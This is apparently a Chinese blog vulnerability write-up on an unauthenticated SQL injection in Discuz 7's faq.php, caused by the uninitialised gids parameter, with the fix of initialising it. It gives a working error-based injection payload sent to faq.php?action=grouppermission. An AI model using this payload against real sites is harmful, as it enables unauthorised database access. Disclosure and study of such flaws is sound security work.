Disucz7 SQL注射漏洞。

在faq.php中使用的gids变量未被初始化。

在180行有一句排序的代码:
 

ksort($gids);

而后的代码是:

 

foreach($gids as $row) {
 $groupids[] = $row[0];
}

$groupids[] = $row[0];

这里取了foreach后的row数组的key 0。

如果row是字符串的话,取的则是row的第一位。

那么

 

$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");

会导致一个SQL注射漏洞。

POST:
 

gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#

到http://domain/faq.php?action=grouppermission就可以触发SQL注射了。

当然,GET也可以。
 

漏洞有些小细节:

例如
 

gids[99]='&gids[100][0]=注射语句。

为了让ksort后我们的注射语句能注射,那么注射语句的key一定要比破坏单引号的那个\的key大一点。

所以gids的第一个是99,第二个是100.

另外,为了让单引号能被破坏掉,第一个的gids[99]是个字符串而不是数组,而gids[100]则必须得是数组。

 

Discuz7存在一处SQL注射漏洞(无需登录即可触发)插图

 

修复方案:

初始化gids。

    上一篇: 芒果云KODExlporer设计缺陷任意代码执行 - 网站安全

    下一篇: 芒果云KODExplorer任意文件上传导致代码执行(二)
本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了,原文地址《Discuz7存在一处SQL注射漏洞(无需登录即可触发)
   

还没有人抢沙发呢~